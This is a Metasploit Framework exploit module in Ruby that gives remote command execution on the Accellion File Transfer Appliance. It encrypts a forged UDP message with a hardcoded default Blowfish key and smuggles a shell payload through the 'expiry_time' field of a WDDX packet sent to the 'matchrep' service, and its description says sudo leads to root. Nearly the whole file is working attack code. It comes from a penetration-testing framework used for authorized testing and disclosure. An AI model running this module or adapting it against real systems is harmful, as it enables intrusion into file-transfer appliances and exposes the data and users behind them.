##
# $Id: accellion_fta_mpipe2.rb 11935 2011-03-11 17:37:23Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

require 'openssl'
require 'rexml/element'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Accellion File Transfer Appliance MPIPE2 Command Execution',
   'Description'    => %q{
     This module exploits a chain of vulnerabilities in the Accellion
    File Transfer appliance. This appliance exposes a UDP service on
    port 8812 that acts as a gateway to the internal communication bus.
    This service uses Blowfish encryption for authentication, but the
    appliance ships with two easy to guess default authentication keys.
    This module abuses the known default encryption keys to inject a
    message into the communication bus. In order to execute arbitrary
    commands on the remote appliance, a message is injected into the bus
    destined for the 'matchrep' service. This service exposes a function
    named 'insert_plugin_meta_info' which is vulnerable to an input
    validation flaw in a call to system(). This provides access to the
    'soggycat' user account, which has sudo privileges to run the
    primary admin tool as root. These two flaws are fixed in update
    version FTA_8_0_562. 
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11935 $',
   'References'     =>
    [
     ['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Targets'        =>
    [
     [ 'Automatic', { } ]
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Feb 7 2011'
  ))

  register_options(
   [
    Opt::RPORT(8812),
    OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])
   ], self.class)
 end

 def exploit
  connect_udp
  
  appid = datastore['APPID']
  encoded_command = REXML::Text.new(payload.encoded).to_s
  
  wddx = %Q|
<wddxPacket version='1.0'>
<header/>
<data>
 <struct>
  <var name='50001'><string>insert_plugin_meta_info</string></var>
  <var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>
  <var name='aid'><string>#{appid}</string></var>
  <var name='client_ip'><string>127.0.0.1</string></var>
  <var name='package_id'><string>1</string></var>
  <var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>
  <var name='expiry_time'><string>&apos;; #{encoded_command}; #&apos;</string></var>
 </struct>
</data>
</wddxPacket>|

  packet = [
   rand(0xffffffff), # Source Location ID
   8888,    # Destination Location ID
   rand(0xffff),  # Source Application
   50001,    # Destination Application (matchrep)
   Time.now.to_i
  ].pack("NNnnN") + wddx
    
  header = [
   0,  # Flags
   0,  #
   1,  # Sequence Number (must be the lowest seen from Source ID)
   33  # Execute (pass message to destination)
  ].pack("CCNC") + packet
  
  data = [ simple_checksum(header) ].pack("n") + header
  enc  = blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)
  
  udp_sock.put("\x01" + enc)
  
  handler
  disconnect_udp
 end
 
 def simple_checksum(data) 
  sum = 0
  data.unpack("C*").map{ |c| sum = (sum + c) & 0xffff }
  sum
 end
 
 #
 # This implements blowfish-cbc with an MD5-expanded 448-bit key
 # using RandomIV for the initial value.
 #
 def blowfish_encrypt(pass, data)

  # Forces 8-bit encoding
  pass = pass.unpack("C*").pack("C*")
  data = data.unpack("C*").pack("C*")
  
  # Use 448-bit keys with 8-byte IV
  key_len = 56
  iv_len  = 8
  
  # Expand the key with MD5 (key-generated-key mode)
  hash = OpenSSL::Digest::MD5.digest(pass)
  while (hash.length < key_len)
   hash << OpenSSL::Digest::MD5.digest(hash)
  end
 
  key = hash[0, key_len]
  iv  = Rex::Text.rand_text(iv_len)

  c = OpenSSL::Cipher::Cipher.new('bf-cbc')
  c.encrypt
  c.key_len = key_len
  c.key     = key
  c.iv      = iv
  
  "RandomIV" + iv + c.update(data) + c.final
 end

end